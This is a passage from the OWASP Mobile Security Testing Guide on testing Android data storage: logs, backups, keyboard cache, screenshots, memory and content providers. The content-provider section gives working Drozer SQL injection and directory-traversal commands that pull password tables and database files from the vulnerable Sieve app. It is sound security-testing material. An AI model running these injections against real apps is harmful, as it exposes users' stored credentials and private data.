Testing", section "Monitoring System Logs". - -Remember that you can target a specific app by filtering the Logcat output as follows: - -```bash -adb logcat | grep "$(adb shell ps | grep | awk '{print $2}')" -``` - -> If you already know the app PID you may give it directly using `--pid` flag. - -You may also want to apply further filters or regular expressions (using `logcat`'s regex flags `-e , --regex=` for example) if you expect certain strings or patterns to come up in the logs. - -## Determining Whether Sensitive Data Is Shared with Third Parties via Embedded Services (MSTG-STORAGE-4) - -### Static Analysis - -To determine whether API calls and functions provided by the third-party library are used according to best practices, review their source code, requested permissions and check for any known vulnerabilities (see ["Checking for Weaknesses in Third Party Libraries (MSTG-CODE-5)"](0x05i-Testing-Code-Quality-and-Build-Settings.md#checking-for-weaknesses-in-third-party-libraries-mstg-code-5)). - -All data that's sent to third-party services should be anonymized to prevent exposure of PII (Personal Identifiable Information) that would allow the third party to identify the user account. No other data (such as IDs that can be mapped to a user account or session) should be sent to a third party. - -### Dynamic Analysis - -Check all requests to external services for embedded sensitive information. -To intercept traffic between the client and server, you can perform dynamic analysis by launching a man-in-the-middle (MITM) attack with [Burp Suite](0x08a-Testing-Tools.md#burp-suite) Professional or [OWASP ZAP](0x08a-Testing-Tools.md#owasp-zap). Once you route the traffic through the interception proxy, you can try to sniff the traffic that passes between the app and server. All app requests that aren't sent directly to the server on which the main function is hosted should be checked for sensitive information, such as PII in a tracker or ad service. - -## Determining Whether Sensitive Data Is Shared with Third Parties via Notifications (MSTG-STORAGE-4) - -### Static Analysis - -Search for any usage of the `NotificationManager` class which might be an indication of some form of notification management. If the class is being used, the next step would be to understand how the application is [generating the notifications](https://developer.android.com/training/notify-user/build-notification#SimpleNotification "Create a Notification") and which data ends up being shown. - -### Dynamic Analysis - -Run the application and start tracing all calls to functions related to the notifications creation, e.g. `setContentTitle` or `setContentText` from [`NotificationCompat.Builder`](https://developer.android.com/reference/androidx/core/app/NotificationCompat.Builder). Observe the trace in the end and evaluate if it contains any sensitive information which another app might have eavesdropped. - -## Determining Whether the Keyboard Cache Is Disabled for Text Input Fields (MSTG-STORAGE-5) - -### Static Analysis - -In the layout definition of an activity, you can define `TextViews` that have XML attributes. If the XML attribute `android:inputType` is given the value `textNoSuggestions`, the keyboard cache will not be shown when the input field is selected. The user will have to type everything manually. - -```xml - -``` - -The code for all input fields that take sensitive information should include this XML attribute to [disable the keyboard suggestions](https://developer.android.com/reference/android/text/InputType.html#TYPE_TEXT_FLAG_NO_SUGGESTIONS "Disable keyboard suggestions"). - -Alternatively, the developer can use the following constants: - -| XML `android:inputType` | Code `InputType` | API level | -| -- | --- | - | -| [`textPassword`](https://developer.android.com/reference/android/widget/TextView#attr_android:inputType:~:text=_SUGGESTIONS.-,textPassword,-81) | [`TYPE_TEXT_VARIATION_PASSWORD`](https://developer.android.com/reference/android/text/InputType#TYPE_TEXT_VARIATION_PASSWORD "Text password input type") | 3 | -| [`textVisiblePassword`](https://developer.android.com/reference/android/widget/TextView#attr_android:inputType:~:text=_URI.-,textVisiblePassword,-91) | [`TYPE_TEXT_VARIATION_VISIBLE_PASSWORD`](https://developer.android.com/reference/android/text/InputType#TYPE_TEXT_VARIATION_VISIBLE_PASSWORD "Text visible password input type") | 3 | -| [`numberPassword`](https://developer.android.com/reference/android/widget/TextView#attr_android:inputType:~:text=_DECIMAL.-,numberPassword,-12) | [`TYPE_NUMBER_VARIATION_PASSWORD`](https://developer.android.com/reference/android/text/InputType#TYPE_NUMBER_VARIATION_PASSWORD "A numeric password field") | 11 | -| [`textWebPassword`](https://developer.android.com/reference/android/widget/TextView#attr_android:inputType:~:text=_ADDRESS.-,textWebPassword,-e1) | [`TYPE_TEXT_VARIATION_WEB_PASSWORD`](https://developer.android.com/reference/android/text/InputType#TYPE_TEXT_VARIATION_WEB_PASSWORD "Text web password input type") | 11 | - -Check the application code to verify that none of the input types are being overwritten. For example, by doing `findViewById(R.id.KeyBoardCache).setInputType(InputType.TYPE_CLASS_TEXT)` the input type of the input field `KeyBoardCache` is set to `text` reenabling the keyboard cache. - -Finally, check the minimum required SDK version in the Android Manifest (`android:minSdkVersion`) since it must support the used constants (for example, Android SDK version 11 is required for `textWebPassword`). Otherwise, the compiled app would not honor the used input type constants allowing keyboard caching. - -### Dynamic Analysis - -Start the app and click in the input fields that take sensitive data. If strings are suggested, the keyboard cache has not been disabled for these fields. - -## Determining Whether Sensitive Stored Data Has Been Exposed via IPC Mechanisms (MSTG-STORAGE-6) - -### Static Analysis - -The first step is to look at `AndroidManifest.xml` to detect content providers exposed by the app. You can identify content providers by the `` element. Complete the following steps: - -- Determine whether the value of the export tag (`android:exported`) is `"true"`. Even if it is not, the tag will be set to `"true"` automatically if an `` has been defined for the tag. If the content is meant to be accessed only by the app itself, set `android:exported` to `"false"`. If not, set the flag to `"true"` and define proper read/write permissions. -- Determine whether the data is being protected by a permission tag (`android:permission`). Permission tags limit exposure to other apps. -- Determine whether the `android:protectionLevel` attribute has the value `signature`. This setting indicates that the data is intended to be accessed only by apps from the same enterprise (i.e., signed with the same key). To make the data accessible to other apps, apply a security policy with the `` element and set a proper `android:protectionLevel`. If you use `android:permission`, other applications must declare corresponding `` elements in their manifests to interact with your content provider. You can use the `android:grantUriPermissions` attribute to grant more specific access to other apps; you can limit access with the `` element. - -Inspect the source code to understand how the content provider is meant to be used. Search for the following keywords: - -- `android.content.ContentProvider` -- `android.database.Cursor` -- `android.database.sqlite` -- `.query` -- `.update` -- `.delete` - -> To avoid SQL injection attacks within the app, use parameterized query methods, such as `query`, `update`, and `delete`. Be sure to properly sanitize all method arguments; for example, the `selection` argument could lead to SQL injection if it is made up of concatenated user input. - - If you expose a content provider, determine whether parameterized [query methods](https://developer.android.com/reference/android/content/ContentProvider.html#query%28android.net.Uri%2C%20java.lang.String[]%2C%20java.lang.String%2C%20java.lang.String[]%2C%20java.lang.String%29 "Query method in ContentProvider Class") (`query`, `update`, and `delete`) are being used to prevent SQL injection. If so, make sure all their arguments are properly sanitized. - -We will use the vulnerable password manager app [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk "Sieve - Vulnerable Password Manager") as an example of a vulnerable content provider. - -#### Inspect the Android Manifest - -Identify all defined `` elements: - -```xml - - - - -``` - -As shown in the `AndroidManifest.xml` above, the application exports two content providers. Note that one path ("/Keys") is protected by read and write permissions. - -#### Inspect the source code - -Inspect the `query` function in the `DBContentProvider.java` file to determine whether any sensitive information is being leaked: - -Example in Java: - -```java -public Cursor query(final Uri uri, final String[] array, final String s, final String[] array2, final String s2) { - final int match = this.sUriMatcher.match(uri); - final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder(); - if (match >= 100 && match < 200) { - sqLiteQueryBuilder.setTables("Passwords"); - } - else if (match >= 200) { - sqLiteQueryBuilder.setTables("Key"); - } - return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2); -} -``` - -Example in Kotlin: - -```kotlin -fun query(uri: Uri?, array: Array?, s: String?, array2: Array?, s2: String?): Cursor { - val match: Int = this.sUriMatcher.match(uri) - val sqLiteQueryBuilder = SQLiteQueryBuilder() - if (match >= 100 && match < 200) { - sqLiteQueryBuilder.tables = "Passwords" - } else if (match >= 200) { - sqLiteQueryBuilder.tables = "Key" - } - return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, null as String?, null as String?, s2) - } -``` - -Here we see that there are actually two paths, "/Keys" and "/Passwords", and the latter is not being protected in the manifest and is therefore vulnerable. - - When accessing a URI, the query statement returns all passwords and the path `Passwords/`. We will address this in the "Dynamic Analysis" section and show the exact URI that is required. - -### Dynamic Analysis - -#### Testing Content Providers - -To dynamically analyze an application's content providers, first enumerate the attack surface: pass the app's package name to the Drozer module `app.provider.info`: - -```bash -dz> run app.provider.info -a com.mwr.example.sieve - Package: com.mwr.example.sieve - Authority: com.mwr.example.sieve.DBContentProvider - Read Permission: null - Write Permission: null - Content Provider: com.mwr.example.sieve.DBContentProvider - Multiprocess Allowed: True - Grant Uri Permissions: False - Path Permissions: - Path: /Keys - Type: PATTERN_LITERAL - Read Permission: com.mwr.example.sieve.READ_KEYS - Write Permission: com.mwr.example.sieve.WRITE_KEYS - Authority: com.mwr.example.sieve.FileBackupProvider - Read Permission: null - Write Permission: null - Content Provider: com.mwr.example.sieve.FileBackupProvider - Multiprocess Allowed: True - Grant Uri Permissions: False -``` - -In this example, two content providers are exported. Both can be accessed without permission, except for the `/Keys` path in the `DBContentProvider`. With this information, you can reconstruct part of the content URIs to access the `DBContentProvider` (the URIs begin with `content://`). - -To identify content provider URIs within the application, use Drozer's `scanner.provider.finduris` module. This module guesses paths and determines accessible content URIs in several ways: - -```bash -dz> run scanner.provider.finduris -a com.mwr.example.sieve -Scanning com.mwr.example.sieve... -Unable to Query content://com.mwr.example.sieve.DBContentProvider/ -... -Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys -Accessible content URIs: -content://com.mwr.example.sieve.DBContentProvider/Keys/ -content://com.mwr.example.sieve.DBContentProvider/Passwords -content://com.mwr.example.sieve.DBContentProvider/Passwords/ -``` - -Once you have a list of accessible content providers, try to extract data from each provider with the `app.provider.query` module: - -```bash -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical -_id: 1 -service: Email -username: incognitoguy50 -password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded) -email: incognitoguy50@gmail.com -``` - -You can also use Drozer to insert, update, and delete records from a vulnerable content provider: - -- Insert record - - ```bash - dz> run app.provider.insert content://com.vulnerable.im/messages - --string date 1331763850325 - --string type 0 - --integer _id 7 - ``` - -- Update record - - ```bash - dz> run app.provider.update content://settings/secure - --selection "name=?" - --selection-args assisted_gps_enabled - --integer value 0 - ``` - -- Delete record - - ```bash - dz> run app.provider.delete content://settings/secure - --selection "name=?" - --selection-args my_setting - ``` - -#### SQL Injection in Content Providers - -The Android platform promotes SQLite databases for storing user data. Because these databases are based on SQL, they may be vulnerable to SQL injection. You can use the Drozer module `app.provider.query` to test for SQL injection by manipulating the projection and selection fields that are passed to the content provider: - -```default -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" -unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords - -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" -unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') -``` - -If an application is vulnerable to SQL Injection, it will return a verbose error message. SQL Injection on Android may be used to modify or query data from the vulnerable content provider. In the following example, the Drozer module `app.provider.query` is used to list all the database tables: - -```default -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* -FROM SQLITE_MASTER WHERE type='table';--" -| type | name | tbl_name | rootpage | sql | -| table | android_metadata | android_metadata | 3 | CREATE TABLE ... | -| table | Passwords | Passwords | 4 | CREATE TABLE ... | -| table | Key | Key | 5 | CREATE TABLE ... | -``` - -SQL Injection may also be used to retrieve data from otherwise protected tables: - -```default -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" -| Password | pin | -| thisismypassword | 9876 | -``` - -You can automate these steps with the `scanner.provider.injection` module, which automatically finds vulnerable content providers within an app: - -```default -dz> run scanner.provider.injection -a com.mwr.example.sieve -Scanning com.mwr.example.sieve... -Injection in Projection: - content://com.mwr.example.sieve.DBContentProvider/Keys/ - content://com.mwr.example.sieve.DBContentProvider/Passwords - content://com.mwr.example.sieve.DBContentProvider/Passwords/ -Injection in Selection: - content://com.mwr.example.sieve.DBContentProvider/Keys/ - content://com.mwr.example.sieve.DBContentProvider/Passwords - content://com.mwr.example.sieve.DBContentProvider/Passwords/ -``` - -#### File System Based Content Providers - -Content providers can provide access to the underlying filesystem. This allows apps to share files (the Android sandbox normally prevents this). You can use the Drozer modules `app.provider.read` and `app.provider.download` to read and download files, respectively, from exported file-based content providers. These content providers are susceptible to directory traversal, which allows otherwise protected files in the target application's sandbox to be read. - -```default -dz> run app.provider.download content://com.vulnerable.app.FileProvider/../../../../../../../../data/data/com.vulnerable.app/database.db /home/user/database.db -Written 24488 bytes -``` - -Use the `scanner.provider.traversal` module to automate the process of finding content providers that are susceptible to directory traversal: - -```default -dz> run scanner.provider.traversal -a com.mwr.example.sieve -Scanning com.mwr.example.sieve... -Vulnerable Providers: - content://com.mwr.example.sieve.FileBackupProvider/ - content://com.mwr.example.sieve.FileBackupProvider -``` - -Note that `adb` can also be used to query content providers: - -```bash -$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials -Row: 0 id=1, username=admin, password=StrongPwd -Row: 1 id=2, username=test, password=test -... -``` - -## Checking for Sensitive Data Disclosure Through the User Interface (MSTG-STORAGE-7) - -### Static Analysis - -Carefully review all UI components that either show such information or take it as input. Search for any traces of sensitive information and evaluate if it should be masked or completely removed. - -#### Text Fields - -To make sure an application is masking sensitive user input, check for the following attribute in the definition of `EditText`: - -```xml -android:inputType="textPassword" -``` - -With this setting, dots (instead of the input characters) will be displayed in the text field, preventing the app from leaking passwords or pins to the user interface. - -#### App Notifications - -When statically assessing an application, it is recommended to search for any usage of the `NotificationManager` class which might be an indication of some form of notification management. If the class is being used, the next step would be to understand how the application is [generating the notifications](https://developer.android.com/training/notify-user/build-notification#SimpleNotification "Create a Notification"). - -These code locations can be fed into the Dynamic Analysis section below, providing an idea of where in the application notifications may be dynamically generated. - -### Dynamic Analysis - -To determine whether the application leaks any sensitive information to the user interface, run the application and identify components that could be disclosing information. - -#### Text Fields - -If the information is masked by, for example, replacing input with asterisks or dots, the app isn't leaking data to the user interface. - -#### App Notifications - -To identify the usage of notifications run through the entire application and all its available functions looking for ways to trigger any notifications. Consider that you may need to perform actions outside of the application in order to trigger certain notifications. - -While running the application you may want to start tracing all calls to functions related to the notifications creation, e.g. `setContentTitle` or `setContentText` from [`NotificationCompat.Builder`](https://developer.android.com/reference/androidx/core/app/NotificationCompat.Builder). Observe the trace in the end and evaluate if it contains any sensitive information. - -## Testing Backups for Sensitive Data (MSTG-STORAGE-8) - -### Static Analysis - -#### Local - -Check the `AndroidManifest.xml` file for the following flag: - -```xml -android:allowBackup="true" -``` - -If the flag value is **true**, determine whether the app saves any kind of sensitive data (check the test case "Testing for Sensitive Data in Local Storage"). - -#### Cloud - -Regardless of whether you use key/value backup or auto backup, you must determine the following: - -- which files are sent to the cloud (e.g., SharedPreferences) -- whether the files contain sensitive information -- whether sensitive information is encrypted before being sent to the cloud. - -> If you don't want to share files with Google Cloud, you can exclude them from [Auto Backup](https://developer.android.com/guide/topics/data/autobackup.html#IncludingFiles "Exclude files from Auto Backup"). Sensitive information stored at rest on the device should be encrypted before being sent to the cloud. - -- **Auto Backup**: You configure Auto Backup via the boolean attribute `android:allowBackup` within the application's manifest file. [Auto Backup](https://developer.android.com/guide/topics/data/autobackup.html#EnablingAutoBackup "Enabling AutoBackup") is enabled by default for applications that target Android 6.0 (API level 23). You can use the attribute `android:fullBackupOnly` to activate auto backup when implementing a backup agent, but this attribute is available for Android versions 6.0 and above only. Other Android versions use key/value backup instead. - -```xml -android:fullBackupOnly -``` - -Auto backup includes almost all the app files and stores up 25 MB of them per app in the user's Google Drive account. Only the most recent backup is stored; the previous backup is deleted. - -- **Key/Value Backup**: To enable key/value backup, you must define the backup agent in the manifest file. Look in `AndroidManifest.xml` for the following attribute: - -```xml -android:backupAgent -``` - -To implement key/value backup, extend one of the following classes: - -- [BackupAgent](https://developer.android.com/reference/android/app/backup/BackupAgent.html "BackupAgent") -- [BackupAgentHelper](https://developer.android.com/reference/android/app/backup/BackupAgentHelper.html "BackupAgentHelper") - -To check for key/value backup implementations, look for these classes in the source code. - -### Dynamic Analysis - -After executing all available app functions, attempt to back up via `adb`. If the backup is successful, inspect the backup archive for sensitive data. Open a terminal and run the following command: - -```bash -adb backup -apk -nosystem -``` - -ADB should respond now with "Now unlock your device and confirm the backup operation" and you should be asked on the Android phone for a password. This is an optional step and you don't need to provide one. If the phone does not prompt this message, try the following command including the quotes: - -```bash -adb backup "-apk -nosystem " -``` - -The problem happens when your device has an adb version prior to 1.0.31. If that's the case you must use an adb version of 1.0.31 also on your host computer. Versions of adb after 1.0.32 [broke the backwards compatibility.](https://issuetracker.google.com/issues/37096097 "adb backup is broken since ADB version 1.0.32") - -Approve the backup from your device by selecting the _Back up my data_ option. After the backup process is finished, the file _.ab_ will be in your working directory. -Run the following command to convert the .ab file to tar. - -```bash -dd if=mybackup.ab bs=24 skip=1|openssl zlib -d > mybackup.tar -``` - -In case you get the error `openssl:Error: 'zlib' is an invalid command.` you can try to use Python instead. - -```bash -dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" > backup.tar -``` - -The [_Android Backup Extractor_](https://github.com/nelenkov/android-backup-extractor "Android Backup Extractor") is another alternative backup tool. To make the tool to work, you have to download the Oracle JCE Unlimited Strength Jurisdiction Policy Files for [JRE7](https://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html "Oracle JCE Unlimited Strength Jurisdiction Policy Files JRE7") or [JRE8](http://www.oracle.com/technetwork/java/javase/downloads/jce8-download-2133166.html "Oracle JCE Unlimited Strength Jurisdiction Policy Files JRE8") and place them in the JRE lib/security folder. Run the following command to convert the tar file: - -```bash -java -jar abe.jar unpack backup.ab -``` - -if it shows some Cipher information and usage, which means it hasn't unpacked successfully. In this case you can give a try with more arguments: - -```bash -abe [-debug] [-useenv=yourenv] unpack [password] -``` - -`[password]` is the password when your android device asked you earlier. For example here is: 123 - -```bash -java -jar abe.jar unpack backup.ab backup.tar 123 -``` - -Extract the tar file to your working directory. - -```bash -tar xvf mybackup.tar -``` - -## Finding Sensitive Information in Auto-Generated Screenshots (MSTG-STORAGE-9) - -### Static Analysis - -A screenshot of the current activity is taken when an Android app goes into background and displayed for aesthetic purposes when the app returns to the foreground. However, this may leak sensitive information. - -To determine whether the application may expose sensitive information via the app switcher, find out whether the [`FLAG_SECURE`](https://developer.android.com/reference/android/view/Display.html#FLAG_SECURE "FLAG_SECURE Option") option has been set. You should find something similar to the following code snippet: - -Example in Java: - -```java -getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE, - WindowManager.LayoutParams.FLAG_SECURE); - -setContentView(R.layout.activity_main); -``` - -Example in Kotlin: - -```kotlin -window.setFlags(WindowManager.LayoutParams.FLAG_SECURE, - WindowManager.LayoutParams.FLAG_SECURE) - -setContentView(R.layout.activity_main) -``` - -If the option has not been set, the application is vulnerable to screen capturing. - -### Dynamic Analysis - -While black-box testing the app, navigate to any screen that contains sensitive information and click the home button to send the app to the background, then press the app switcher button to see the snapshot. As shown below, if `FLAG_SECURE` is set (left image), the snapshot will be empty; if the flag has not been set (right image), activity information will be shown: - - - - -On devices supporting [file-based encryption (FBE)](https://source.android.com/security/encryption/file-based "FBE"), snapshots are stored in the `/data/system_ce//` folder. `` depends on the vendor but most common names are `snapshots` and `recent_images`. If the device doesn't support FBE, the `/data/system/` folder is used. - -> Accessing these folders and the snapshots requires root. - -## Testing Memory for Sensitive Data (MSTG-STORAGE-10) - -### Overview - -Analyzing memory can help developers identify the root causes of several problems, such as application crashes. However, it can also be used to access sensitive data. This section describes how to check for data disclosure via process memory. - -First identify sensitive information that is stored in memory. Sensitive assets have likely been loaded into memory at some point. The objective is to verify that this information is exposed as briefly as possible. - -To investigate an application's memory, you must first create a memory dump. You can also analyze the memory in real-time, e.g., via a debugger. Regardless of your approach, memory dumping is a very error-prone process in terms of verification because each dump contains the output of executed functions. You may miss executing critical scenarios. In addition, overlooking data during analysis is probable unless you know the data's footprint (either the exact value or the data format). For example, if the app encrypts with a randomly generated symmetric key, you likely won't be able to spot it in memory unless you can recognize the key's value in another context. - -Therefore, you are better off starting with static analysis. - -### Static Analysis - -When performing static analysis to identify sensitive data that is exposed in memory, you should: - -- Try to identify application components and map where data is used. -- Make sure that sensitive data is handled by as few components as possible. -- Make sure that object references are properly removed once the object containing the sensitive data is no longer needed. -- Make sure that garbage collection is requested after references have been removed. -- Make sure that sensitive data gets overwritten as soon as it is no longer needed. - - Don't represent such data with immutable data types (such as `String` and `BigInteger`). - - Avoid non-primitive data types (such as `StringBuilder`). - - Overwrite references before removing them, outside the `finalize` method. - - Pay attention to third-party components (libraries and frameworks). - Public APIs are good indicators. Determine whether the public API handles the sensitive data as described in this chapter. - -**The following section describes pitfalls of data leakage in memory and best practices for avoiding them.** - -Don't use immutable structures (e.g., `String` and `BigInteger`) to represent secrets. Nullifying these structures will be ineffective: the garbage collector may collect them, but they may remain on the heap after garbage collection. Nevertheless, you should ask for garbage collection after every critical operation (e.g., encryption, parsing server responses that contain sensitive information). When copies of the information have not been properly cleaned (as explained below), your request will help reduce the length of time for which these copies are available in memory. - -To properly clean sensitive information from memory, store it in primitive data types, such as byte-arrays (`byte[]`) and char-arrays (`char[]`). You should avoid storing the information in mutable non-primitive data types. - -Make sure to overwrite the content of the critical object once the object is no longer needed. Overwriting the content with zeroes is one simple and very popular method: - -Example in Java: - -```java -byte[] secret = null; -try{ - //get or generate the secret, do work with it, make sure you make no local copies -} finally { - if (null != secret) { - Arrays.fill(secret, (byte) 0); - } -} -``` - -Example in Kotlin: - -```kotlin -val secret: ByteArray? = null -try { - //get or generate the secret, do work with it, make sure you make no local copies -} finally { - if (null != secret) { - Arrays.fill(secret, 0.toByte()) - } -} -``` - -This doesn't, however, guarantee that the content will be overwritten at runtime. To optimize the bytecode, the compiler will analyze and decide not to overwrite data because it will not be used afterwards (i.e., it is an unnecessary operation). Even if the code is in the compiled DEX, the optimization may occur during the just-in-time or ahead-of-time compilation in the VM. - -There is no silver bullet for this problem because different solutions have different consequences. For example, you may perform additional calculations (e.g., XOR the data into a dummy buffer), but you'll have no way to know the extent of the compiler's optimization analysis. On the other hand, using the overwritten data outside the compiler's scope (e.g., serializing it in a temp file) guarantees that it will be overwritten but obviously impacts performance and maintenance. - -Then, using `Arrays.fill` to overwrite the data is a bad idea because the method is an obvious hooking target (see the chapter "[Tampering and Reverse Engineering on Android](0x05c-Reverse-Engineering-and-Tampering.md)" for more details). - -The final issue with the above example is that the content was overwritten with zeroes only. You should try to overwrite critical objects with random data or content from non-critical objects. This will make it really difficult to construct scanners that can identify sensitive data on the basis of its management. - -Below is an improved version of the previous example: - -Example in Java: - -```java -byte[] nonSecret = somePublicString.getBytes("ISO-8859-1"); -byte[] secret = null; -try{ - //get or generate the secret, do work with it, make sure you make no local copies -} finally { - if (null != secret) { - for (int i = 0; i < secret.length; i++) { - secret[i] = nonSecret[i % nonSecret.length]; - } - - FileOutputStream out = new FileOutputStream("/dev/null"); - out.write(secret); - out.flush(); - out.close(); - } -} -``` - -Example in Kotlin: - -```kotlin -val nonSecret: ByteArray = somePublicString.getBytes("ISO-8859-1") -val secret: ByteArray? = null -try { - //get or generate the secret, do work with it, make sure you make no local copies -} finally { - if (null != secret) { - for (i in secret.indices) { - secret[i] = nonSecret[i % nonSecret.size] - } - - val out = FileOutputStream("/dev/null") - out.write(secret) - out.flush() - out.close() - } -} -``` - -For more information, take a look at [Securely Storing Sensitive Data in RAM](https://www.nowsecure.com/resources/secure-mobile-development/coding-practices/securely-store-sensitive-data-in-ram/ "Securely store sensitive data in RAM"). - -In the "Static Analysis" section, we mentioned the proper way to handle cryptographic keys when you are using `AndroidKeyStore` or `SecretKey`. - -For a better implementation of `SecretKey`, look at the `SecureSecretKey` class below. Although the implementation is probably missing some boilerplate code that would make the class compatible with `SecretKey`, it addresses the main security concerns: - -- No cross-context handling of sensitive data. Each copy of the key can be cleared from within the scope in which it was created. -- The local copy is cleared according to the recommendations given above. - -Example in Java: - -```java - public class SecureSecretKey implements javax.crypto.SecretKey, Destroyable { - private byte[] key; - private final String algorithm; - - /** Constructs SecureSecretKey instance out of a copy of the provided key bytes. - * The caller is responsible of clearing the key array provided as input. - * The internal copy of the key can be cleared by calling the destroy() method. - */ - public SecureSecretKey(final byte[] key, final String algorithm) { - this.key = key.clone(); - this.algorithm = algorithm; - } - - public String getAlgorithm() { - return this.algorithm; - } - - public String getFormat() { - return "RAW"; - } - - /** Returns a copy of the key. - * Make sure to clear the returned byte array when no longer needed. - */ - public byte[] getEncoded() { - if(null == key){ - throw new NullPointerException(); - } - - return key.clone(); - } - - /** Overwrites the key with dummy data to ensure this copy is no longer present in memory.*/ - public void destroy() { - if (isDestroyed()) { - return; - } - - byte[] nonSecret = new String("RuntimeException").getBytes("ISO-8859-1"); - for (int i = 0; i < key.length; i++) { - key[i] = nonSecret[i % nonSecret.length]; - } - - FileOutputStream out = new FileOutputStream("/dev/null"); - out.write(key); - out.flush(); - out.close(); - - this.key = null; - System.gc(); - } - - public boolean isDestroyed() { - return key == null; - } - } -``` - -Example in Kotlin: - -```kotlin -class SecureSecretKey(key: ByteArray, algorithm: String) : SecretKey, Destroyable { - private var key: ByteArray? - private val algorithm: String - override fun getAlgorithm(): String { - return algorithm - } - - override fun getFormat(): String { - return "RAW" - } - - /** Returns a copy of the key. - * Make sure to clear the returned byte array when no longer needed. - */ - override fun getEncoded(): ByteArray { - if (null == key) { - throw NullPointerException() - } - return key!!.clone() - } - - /** Overwrites the key with dummy data to ensure this copy is no longer present in memory. */ - override fun destroy() { - if (isDestroyed) { - return - } - val nonSecret: ByteArray = String("RuntimeException").toByteArray(charset("ISO-8859-1")) - for (i in key!!.indices) { - key!![i] = nonSecret[i % nonSecret.size] - } - val out = FileOutputStream("/dev/null") - out.write(key) - out.flush() - out.close() - key = null - System.gc() - } - - override fun isDestroyed(): Boolean { - return key == null - } - - /** Constructs SecureSecretKey instance out of a copy of the provided key bytes. - * The caller is responsible of clearing the key array provided as input. - * The internal copy of the key can be cleared by calling the destroy() method. - */ - init { - this.key = key.clone() - this.algorithm = algorithm - } -} -``` - -Secure user-provided data is the final secure information type usually found in memory. This is often managed by implementing a custom input method, for which you should follow the recommendations given here. However, Android allows information to be partially erased from `EditText` buffers via a custom `Editable.Factory`. - -```java -EditText editText = ...; // point your variable to your EditText instance -EditText.setEditableFactory(new Editable.Factory() { - public Editable newEditable(CharSequence source) { - ... // return a new instance of a secure implementation of Editable. - } -}); -``` - -Refer to the `SecureSecretKey` example above for an example `Editable` implementation. Note that you will be able to securely handle all copies made by `editText.getText` if you provide your factory. You can also try to overwrite the internal `EditText` buffer by calling `editText.setText`, but there is no guarantee that the buffer will not have been copied already. If you choose to rely on the default input method and `EditText`, you will have no control over the keyboard or other components that are used. Therefore, you should use this approach for semi-confidential information only. - -In all cases, make sure that sensitive data in memory is cleared when a user signs out of the application. Finally, make sure that highly sensitive information is cleared out the moment an Activity or Fragment's `onPause` event is triggered. - -> Note that this might mean that a user has to re-authenticate every time the application resumes. - -### Dynamic Analysis - -Static analysis will help you identify potential problems, but it can't provide statistics about how long data has been exposed in memory, nor can it help you identify problems in closed-source dependencies. This is where dynamic analysis comes into play. - -There are various ways to analyze the memory of a process, e.g. live analysis via a debugger/dynamic instrumentation and analyzing one or more memory dumps. - -#### Retrieving and Analyzing a Memory Dump - -Whether you are using a rooted or a non-rooted device, you can dump the app's process memory with [objection](https://github.com/sensepost/objection "Objection") and [Fridump](https://github.com/Nightbringer21/fridump "Fridump"). You can find a detailed explanation of this process in the section "[Memory Dump](0x05c-Reverse-Engineering-and-Tampering.md#memory-dump "Memory Dump")", in the chapter "Tampering and Reverse Engineering on Android". - -After the memory has been dumped (e.g. to a file called "memory"), depending on the nature of the data you're looking for, you'll need a set of different tools to process and analyze that memory dump. For instance, if you're focusing on strings, it might be sufficient for you to execute the command `strings` or `rabin2 -zz` to extract those strings. - -```bash -# using strings -$ strings memory > strings.txt - -# using rabin2 -$ rabin2 -ZZ memory > strings.txt -``` - -Open `strings.txt` in your favorite editor and dig through it to identify sensitive information. - -However if you'd like to inspect other kind of data, you'd rather want to use radare2 and its search capabilities. See radare2's help on the search command (`/?`) for more information and a list of options. The following shows only a subset of them: - -```bash -$ r2 - -[0x00000000]> /? -Usage: /[!bf] [arg] Search stuff (see 'e??search' for options) -|Use io.va for searching in non virtual addressing spaces -| / foo\x00 search for string 'foo\0' -| /c[ar] search for crypto materials -| /e /E.F/i match regular expression -| /i foo search for string 'foo' ignoring case -| /m[?][ebm] magicfile search for magic, filesystems or binary headers -| /v[1248] value look for an `cfg.bigendian` 32bit value -| /w foo search for wide string 'f\0o\0o\0' -| /x ff0033 search for hex string -| /z min max search for strings of given size -... -``` - -#### Runtime Memory Analysis - -Instead of dumping the memory to your host computer, you can alternatively use [r2frida](0x08a-Testing-Tools.md#r2frida). With it, you can analyze and inspect the app's memory while it's running. -For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command (and any other r2frida specific commands) with a backslash `\` after starting the session with `r2 frida://usb//`. - -For more information, options and approaches, please refer to section "[In-Memory Search](0x05c-Reverse-Engineering-and-Tampering.md#in-memory-search "In-Memory Search")" in the chapter "Tampering and Reverse Engineering on Android". - -#### Explicitly Dumping and Analyzing the Java Heap - -For rudimentary analysis, you can use Android Studio's built-in tools. They are on the _Android Monitor_ tab. To dump memory, select the device and app you want to analyze and click _Dump Java Heap_. This will create a _.hprof_ file in the _captures_ directory, which is on the app's project path. - - - -To navigate through class instances that were saved in the memory dump, select the Package Tree View in the tab showing the _.hprof_ file. - - - -For more advanced analysis of the memory dump, use the [Eclipse Memory Analyzer Tool (MAT)](https://eclipse.org/mat/downloads.php "Eclipse Memory Analyzer Tool"). It is available as an Eclipse plugin and as a standalone application. - -To analyze the dump in MAT, use the _hprof-conv_ platform tool, which comes with the Android SDK. - -```bash -./hprof-conv memory.hprof 